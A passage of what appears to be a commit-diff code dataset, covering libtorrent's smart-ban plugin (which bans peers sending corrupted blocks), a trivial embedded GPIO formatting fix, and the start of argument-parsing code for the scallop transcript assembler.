earlier? If it has, go through the\n\t\t\t\/\/ CRCs from the time it failed and ban the peers that\n\t\t\t\/\/ sent bad blocks\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p) return;\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\twhile (size > 0)\n\t\t\t{\n\t\t\t\tif (i->first.block_index == pb.block_index)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_ok_block\n\t\t\t\t\t\t, shared_from_this(), *i, _1, _2));\n\t\t\t\t\tm_block_crc.erase(i++);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tTORRENT_ASSERT(i->first.block_index > pb.block_index);\n\t\t\t\t}\n\n\t\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p)\n\t\t\t\t\tbreak;\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\n#ifndef NDEBUG\n\t\t\t\/\/ make sure we actually removed all the entries for piece 'p'\n\t\t\ti = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tTORRENT_ASSERT(i == m_block_crc.end() || i->first.piece_index != p);\n#endif\n\n\t\t\tif (m_torrent.is_seed())\n\t\t\t{\n\t\t\t\tstd::map<piece_block, block_entry>().swap(m_block_crc);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tvoid on_piece_failed(int p)\n\t\t{\n\t\t\t\/\/ The piece failed the hash check. Record\n\t\t\t\/\/ the CRC and origin peer of every block\n\n\t\t\tstd::vector<void*> downloaders;\n\t\t\tm_torrent.picker().get_downloaders(downloaders, p);\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\tfor (std::vector<void*>::iterator i = downloaders.begin()\n\t\t\t\t, end(downloaders.end()); i != end; ++i)\n\t\t\t{\n\t\t\t\tif (*i != 0)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_failed_block\n\t\t\t\t\t\t, shared_from_this(), pb, (policy::peer*)*i, _1, _2));\n\t\t\t\t}\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\t\t\tTORRENT_ASSERT(size <= 0);\n\t\t}\n\n\tprivate:\n\n\t\t\/\/ this entry ties a specific block CRC to\n\t\t\/\/ a peer.\n\t\tstruct block_entry\n\t\t{\n\t\t\tpolicy::peer* peer;\n\t\t\tunsigned long crc;\n\t\t};\n\n\t\tvoid on_read_failed_block(piece_block b, policy::peer* p, int ret, disk_io_job const& j)\n\t\t{\n\t\t\tTORRENT_ASSERT(p);\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\n\t\t\tblock_entry e = {p, crc.final()};\n\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\t\t\t\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(b);\n\t\t\tif (i != m_block_crc.end() && i->first == b && i->second.peer == p)\n\t\t\t{\n\t\t\t\t\/\/ this peer has sent us this block before\n\t\t\t\tif (i->second.crc != e.crc)\n\t\t\t\t{\n\t\t\t\t\t\/\/ this time the crc of the block is different\n\t\t\t\t\t\/\/ from the first time it sent it\n\t\t\t\t\t\/\/ at least one of them must be bad\n\n\t\t\t\t\tif (p == 0) return;\n\t\t\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\t\t\tchar const* client = \"-\";\n\t\t\t\t\tpeer_info info;\n\t\t\t\t\tif (p->connection)\n\t\t\t\t\t{\n\t\t\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\t\t\tclient = info.client.c_str();\n\t\t\t\t\t}\n\t\t\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.piece_index\n\t\t\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t\t\t<< \" | c: \" << client\n\t\t\t\t\t\t<< \" | crc1: \" << i->second.crc\n\t\t\t\t\t\t<< \" | crc2: \" << e.crc\n\t\t\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\t\t\tp->banned = true;\n\t\t\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t\t\t}\n\t\t\t\t\/\/ we already have this exact entry in the map\n\t\t\t\t\/\/ we don't have to insert it\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tm_block_crc.insert(i, std::make_pair(b, e));\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" STORE BLOCK CRC [ p: \" << b.piece_index\n\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | crc: \" << e.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t}\n\t\t\n\t\tvoid on_read_ok_block(std::pair<piece_block, block_entry> b, int ret, disk_io_job const& j)\n\t\t{\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\t\t\tunsigned long ok_crc = crc.final();\n\n\t\t\tif (b.second.crc == ok_crc) return;\n\n\t\t\tpolicy::peer* p = b.second.peer;\n\n\t\t\tif (p == 0) return;\n\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.first.piece_index\n\t\t\t\t<< \" | b: \" << b.first.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | ok_crc: \" << ok_crc\n\t\t\t\t<< \" | bad_crc: \" << b.second.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\tp->banned = true;\n\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t}\n\t\t\n\t\ttorrent& m_torrent;\n\n\t\t\/\/ This table maps a piece_block (piece and block index\n\t\t\/\/ pair) to a peer and the block CRC. The CRC is calculated\n\t\t\/\/ from the data in the block + the salt\n\t\tstd::map<piece_block, block_entry> m_block_crc;\n\n\t\t\/\/ This salt is a random value used to calculate the block CRCs\n\t\t\/\/ Since the CRC function that is used is not a one way function\n\t\t\/\/ the salt is required to avoid attacks where bad data is sent\n\t\t\/\/ that is forged to match the CRC of the good data.\n\t\tint m_salt;\n\t};\n\n} }\n\nnamespace libtorrent\n{\n\n\tboost::shared_ptr<torrent_plugin> create_smart_ban_plugin(torrent* t, void*)\n\t{\n\t\treturn boost::shared_ptr<torrent_plugin>(new smart_ban_plugin(*t));\n\t}\n\n}\n\n\n<commit_msg>fix smart ban assert when closing a torrent with a failing piece<commit_after>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/pch.hpp\"\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n#include <boost\/lexical_cast.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include <vector>\n#include <map>\n#include <utility>\n#include <numeric>\n#include <cstdio>\n\n#include \"libtorrent\/peer_connection.hpp\"\n#include \"libtorrent\/bt_peer_connection.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/bencode.hpp\"\n#include \"libtorrent\/torrent.hpp\"\n#include \"libtorrent\/extensions.hpp\"\n#include \"libtorrent\/extensions\/smart_ban.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/disk_io_thread.hpp\"\n#include \"libtorrent\/aux_\/session_impl.hpp\"\n\nnamespace libtorrent { namespace\n{\n\n\tstruct smart_ban_plugin : torrent_plugin, boost::enable_shared_from_this<smart_ban_plugin>\n\t{\n\t\tsmart_ban_plugin(torrent& t)\n\t\t\t: m_torrent(t)\n\t\t\t, m_salt(rand())\n\t\t{\n\t\t}\n\n\t\tvoid on_piece_pass(int p)\n\t\t{\n#ifdef TORRENT_LOGGING\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" PIECE PASS [ p: \" << p\n\t\t\t\t<< \" | block_crc_size: \" << m_block_crc.size() << \" ]\\n\";\n#endif\n\t\t\t\/\/ has this piece failed earlier? If it has, go through the\n\t\t\t\/\/ CRCs from the time it failed and ban the peers that\n\t\t\t\/\/ sent bad blocks\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p) return;\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\twhile (size > 0)\n\t\t\t{\n\t\t\t\tif (i->first.block_index == pb.block_index)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_ok_block\n\t\t\t\t\t\t, shared_from_this(), *i, _1, _2));\n\t\t\t\t\tm_block_crc.erase(i++);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tTORRENT_ASSERT(i->first.block_index > pb.block_index);\n\t\t\t\t}\n\n\t\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p)\n\t\t\t\t\tbreak;\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\n#ifndef NDEBUG\n\t\t\t\/\/ make sure we actually removed all the entries for piece 'p'\n\t\t\ti = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tTORRENT_ASSERT(i == m_block_crc.end() || i->first.piece_index != p);\n#endif\n\n\t\t\tif (m_torrent.is_seed())\n\t\t\t{\n\t\t\t\tstd::map<piece_block, block_entry>().swap(m_block_crc);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tvoid on_piece_failed(int p)\n\t\t{\n\t\t\t\/\/ The piece failed the hash check. Record\n\t\t\t\/\/ the CRC and origin peer of every block\n\n\t\t\t\/\/ if the torrent is aborted, no point in starting\n\t\t\t\/\/ a bunch of read operations on it\n\t\t\tif (m_torrent.is_aborted()) return;\n\n\t\t\tstd::vector<void*> downloaders;\n\t\t\tm_torrent.picker().get_downloaders(downloaders, p);\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\tfor (std::vector<void*>::iterator i = downloaders.begin()\n\t\t\t\t, end(downloaders.end()); i != end; ++i)\n\t\t\t{\n\t\t\t\tif (*i != 0)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_failed_block\n\t\t\t\t\t\t, shared_from_this(), pb, (policy::peer*)*i, _1, _2));\n\t\t\t\t}\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\t\t\tTORRENT_ASSERT(size <= 0);\n\t\t}\n\n\tprivate:\n\n\t\t\/\/ this entry ties a specific block CRC to\n\t\t\/\/ a peer.\n\t\tstruct block_entry\n\t\t{\n\t\t\tpolicy::peer* peer;\n\t\t\tunsigned long crc;\n\t\t};\n\n\t\tvoid on_read_failed_block(piece_block b, policy::peer* p, int ret, disk_io_job const& j)\n\t\t{\n\t\t\tTORRENT_ASSERT(p);\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\n\t\t\tblock_entry e = {p, crc.final()};\n\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\t\t\t\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(b);\n\t\t\tif (i != m_block_crc.end() && i->first == b && i->second.peer == p)\n\t\t\t{\n\t\t\t\t\/\/ this peer has sent us this block before\n\t\t\t\tif (i->second.crc != e.crc)\n\t\t\t\t{\n\t\t\t\t\t\/\/ this time the crc of the block is different\n\t\t\t\t\t\/\/ from the first time it sent it\n\t\t\t\t\t\/\/ at least one of them must be bad\n\n\t\t\t\t\tif (p == 0) return;\n\t\t\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\t\t\tchar const* client = \"-\";\n\t\t\t\t\tpeer_info info;\n\t\t\t\t\tif (p->connection)\n\t\t\t\t\t{\n\t\t\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\t\t\tclient = info.client.c_str();\n\t\t\t\t\t}\n\t\t\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.piece_index\n\t\t\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t\t\t<< \" | c: \" << client\n\t\t\t\t\t\t<< \" | crc1: \" << i->second.crc\n\t\t\t\t\t\t<< \" | crc2: \" << e.crc\n\t\t\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\t\t\tp->banned = true;\n\t\t\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t\t\t}\n\t\t\t\t\/\/ we already have this exact entry in the map\n\t\t\t\t\/\/ we don't have to insert it\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tm_block_crc.insert(i, std::make_pair(b, e));\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" STORE BLOCK CRC [ p: \" << b.piece_index\n\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | crc: \" << e.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t}\n\t\t\n\t\tvoid on_read_ok_block(std::pair<piece_block, block_entry> b, int ret, disk_io_job const& j)\n\t\t{\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\t\t\tunsigned long ok_crc = crc.final();\n\n\t\t\tif (b.second.crc == ok_crc) return;\n\n\t\t\tpolicy::peer* p = b.second.peer;\n\n\t\t\tif (p == 0) return;\n\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.first.piece_index\n\t\t\t\t<< \" | b: \" << b.first.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | ok_crc: \" << ok_crc\n\t\t\t\t<< \" | bad_crc: \" << b.second.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\tp->banned = true;\n\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t}\n\t\t\n\t\ttorrent& m_torrent;\n\n\t\t\/\/ This table maps a piece_block (piece and block index\n\t\t\/\/ pair) to a peer and the block CRC. The CRC is calculated\n\t\t\/\/ from the data in the block + the salt\n\t\tstd::map<piece_block, block_entry> m_block_crc;\n\n\t\t\/\/ This salt is a random value used to calculate the block CRCs\n\t\t\/\/ Since the CRC function that is used is not a one way function\n\t\t\/\/ the salt is required to avoid attacks where bad data is sent\n\t\t\/\/ that is forged to match the CRC of the good data.\n\t\tint m_salt;\n\t};\n\n} }\n\nnamespace libtorrent\n{\n\n\tboost::shared_ptr<torrent_plugin> create_smart_ban_plugin(torrent* t, void*)\n\t{\n\t\treturn boost::shared_ptr<torrent_plugin>(new smart_ban_plugin(*t));\n\t}\n\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"blinktask.hpp\"\n#include \"led.hpp\"\n\nstatic BlinkTask blinkTask;\n\nvoid HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) {\n}\n<commit_msg>Typo<commit_after>#include \"blinktask.hpp\"\n#include \"led.hpp\"\n\nstatic BlinkTask blinkTask;\n\nvoid HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) {}\n<|endoftext|>"}
{"text":"<commit_before>#include \"config.h\"\n#include <cstdlib>\n#include <iostream>\n#include <string>\n#include <fstream>\n#include <sstream>\n#include <cstring>\n\nusing namespace std;\n\n\/\/\/\/ parameters\n\/\/ for bam file and reads\nint min_flank_length = 5;\nint32_t min_bundle_gap = 50;\nint min_num_hits_in_bundle = 20;\nuint32_t min_mapping_quality = 1;\nint32_t min_splice_boundary_hits = 1;\nbool use_second_alignment = false;\nbool strand_reverse = false;\n\n\/\/ for identifying subgraphs\ndouble max_indel_ratio = 0.2;\ndouble min_subregion_overlap = 2;\nint32_t min_subregion_gap = 3;\nint32_t min_subregion_length = 15;\n\n\/\/ for revising splice graph\ndouble min_inner_vertex_weight = 10;\ndouble min_inner_boundary_weight = 4.0;\ndouble min_splice_edge_weight = 1.5;\nbool extend_isolated_boundary = true;\n\n\/\/ for decomposing splice graph\ndouble max_split_error_ratio = 0.25;\ndouble max_decompose_error_ratio = 0.01;\ndouble min_removable_weight = 5.0;\n\n\/\/ for selecting paths\ndouble min_transcript_coverage = 1.5;\nint min_transcript_length = 200;\n\n\/\/ for identifying new boundaries\nbool identify_extra_boundary = false;\nint min_boundary_length = 80;\nint min_boundary_score = 100;\ndouble min_boundary_ave_ratio = 3.0;\ndouble min_boundary_sigma = 5.0;\n\n\/\/ for subsetsum and router\nint max_dp_table_size = 10000;\nint min_router_count = 1;\n\n\/\/ for simulation\nint simulation_num_vertices = 0;\nint simulation_num_edges = 0;\nint simulation_max_edge_weight = 0;\n\n\/\/ input and output\nstring algo = \"scallop\";\nstring input_file;\nstring ref_file;\nstring ref_file1;\nstring ref_file2;\nstring output_file;\n\n\/\/ for controling\nint32_t average_read_length = 100;\nbool output_tex_files = false;\nstring fixed_gene_name = \"\";\n\nint print_parameters()\n{\n\tprintf(\"parameters:\\n\");\n\n\t\/\/ for bam file and reads\n\tprintf(\"min_flank_length = %d\\n\", min_flank_length);\n\tprintf(\"min_bundle_gap = %d\\n\", min_bundle_gap);\n\tprintf(\"min_num_hits_in_bundle = %d\\n\", min_num_hits_in_bundle);\n\tprintf(\"min_mapping_quality = %d\\n\", min_mapping_quality);\n\tprintf(\"min_splice_boundary_hits = %d\\n\", min_splice_boundary_hits);\n\n\t\/\/ for identifying subgraphs\n\tprintf(\"max_indel_ratio = %.2lf\\n\", max_indel_ratio);\n\tprintf(\"min_subregion_gap = %d\\n\", min_subregion_gap);\n\tprintf(\"min_subregion_length = %d\\n\", min_subregion_length);\n\tprintf(\"min_subregion_overlap = %.2lf\\n\", min_subregion_overlap);\n\n\t\/\/ for splice graph\n\tprintf(\"min_splice_edge_weight = %.2lf\\n\", min_splice_edge_weight);\n\tprintf(\"min_inner_vertex_weight = %.2lf\\n\", min_inner_vertex_weight);\n\tprintf(\"min_inner_boundary_weight = %.2lf\\n\", min_inner_boundary_weight);\n\tprintf(\"min_transcript_coverage = %.2lf\\n\", min_transcript_coverage);\n\tprintf(\"min_transcript_length = %d\\n\", min_transcript_length);\n\tprintf(\"max_split_error_ratio = %.2lf\\n\", max_split_error_ratio);\n\tprintf(\"max_decompose_error_ratio = %.2lf\\n\", max_decompose_error_ratio);\n\tprintf(\"min_removable_weight = %.2lf\\n\", min_removable_weight);\n\tprintf(\"extend_isolated_bounary = %c\\n\", extend_isolated_boundary ? 'T' : 'F');\n\n\t\/\/ for identifying new boundaries\n\tprintf(\"identify_extra_boundary = %c\\n\", identify_extra_boundary ? 'T' : 'F');\n\tprintf(\"min_boundary_length = %d\\n\", min_boundary_length);\n\tprintf(\"min_boundary_score = %d\\n\", min_boundary_score);\n\tprintf(\"min_boundary_ave_ratio = %.2lf\\n\", min_boundary_ave_ratio);\n\tprintf(\"min_boundary_signma = %.2lf\\n\", min_boundary_sigma);\n\n\t\/\/ for subsetsum and router\n\tprintf(\"max_dp_table_size = %d\\n\", max_dp_table_size);\n\tprintf(\"min_router_count = %d\\n\", min_router_count);\n\n\t\/\/ for simulation\n\tprintf(\"simulation_num_vertices = %d\\n\", simulation_num_vertices);\n\tprintf(\"simulation_num_edges = %d\\n\", simulation_num_edges);\n\tprintf(\"simulation_max_edge_weight = %d\\n\", simulation_max_edge_weight);\n\n\t\/\/ for input and output\n\tprintf(\"algo = %s\\n\", algo.c_str());\n\tprintf(\"input_file = %s\\n\", input_file.c_str());\n\tprintf(\"ref_file = %s\\n\", ref_file.c_str());\n\tprintf(\"ref_file1 = %s\\n\", ref_file1.c_str());\n\tprintf(\"ref_file2 = %s\\n\", ref_file2.c_str());\n\tprintf(\"output_file = %s\\n\", output_file.c_str());\n\n\t\/\/ for controling\n\tprintf(\"average_read_length = %d\\n\", average_read_length);\n\tprintf(\"strand_reverse = %c\\n\", strand_reverse ? 'T' : 'F');\n\tprintf(\"output_tex_files = %c\\n\", output_tex_files ? 'T' : 'F');\n\tprintf(\"fixed_gene_name = %s\\n\", fixed_gene_name.c_str());\n\tprintf(\"use_second_alignment = %c\\n\", use_second_alignment ? 'T' : 'F');\n\n\tprintf(\"\\n\");\n\n\treturn 0;\n}\n\nint print_command_line(int argc, const char ** argv)\n{\n\tprintf(\"command line: \");\n\tfor(int i = 0; i < argc; i++)\n\t{\n\t\tprintf(\"%s \", argv[i]);\n\t}\n\tprintf(\"\\n\");\n\treturn 0;\n}\n\nint parse_arguments(int argc, const char ** argv)\n{\n\tfor(int i = 1; i < argc; i++)\n\t{\n\t\t\/\/ necessary ones\n\t\tif(string(argv[i]) == \"-i\")\n\t\t{\n\t\t\tinput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-o\")\n\t\t{\n\t\t\toutput_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/ internal use\n\t\telse if(string(argv[i]) == \"-a\")\n\t\t{\n\t\t\talgo = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r\")\n\t\t{\n\t\t\tref_file = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r1\")\n\t\t{\n\t\t\tref_file1 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-r2\")\n\t\t{\n\t\t\tref_file2 = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-g\")\n\t\t{\n\t\t\tfixed_gene_name = string(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"-t\")\n\t\t{\n\t\t\toutput_tex_files = true;\n\t\t}\n\n\t\t\/\/ user specified\n\t\telse if(string(argv[i]) == \"--min_flank_length\")\n\t\t{\n\t\t\tmin_flank_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_bundle_gap\")\n\t\t{\n\t\t\tmin_bundle_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_num_hits_in_bundle\")\n\t\t{\n\t\t\tmin_num_hits_in_bundle = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_mapping_quality\")\n\t\t{\n\t\t\tmin_mapping_quality = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_boundary_hits\")\n\t\t{\n\t\t\tmin_splice_boundary_hits = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--max_indel_ratio\")\n\t\t{\n\t\t\tmax_indel_ratio = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_gap\")\n\t\t{\n\t\t\tmin_subregion_gap = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_length\")\n\t\t{\n\t\t\tmin_subregion_length = atoi(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_subregion_overlap\")\n\t\t{\n\t\t\tmin_subregion_overlap = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--identify_extra_boundary\")\n\t\t{\n\t\t\tstring s(argv[i + 1]);\n\t\t\tif(s == \"true\") identify_extra_boundary = true;\n\t\t\telse identify_extra_boundary = false;\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_splice_edge_weight\")\n\t\t{\n\t\t\tmin_splice_edge_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_vertex_weight\")\n\t\t{\n\t\t\tmin_inner_vertex_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_inner_boundary_weight\")\n\t\t{\n\t\t\tmin_inner_boundary_weight = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == \"--min_transcript_coverage\")\n\t\t{\n\t\t\tmin_transcript_coverage = atof(argv[i + 1]);\n\t\t\ti++;\n\t\t}\n\t\telse if(string(argv[i]) == 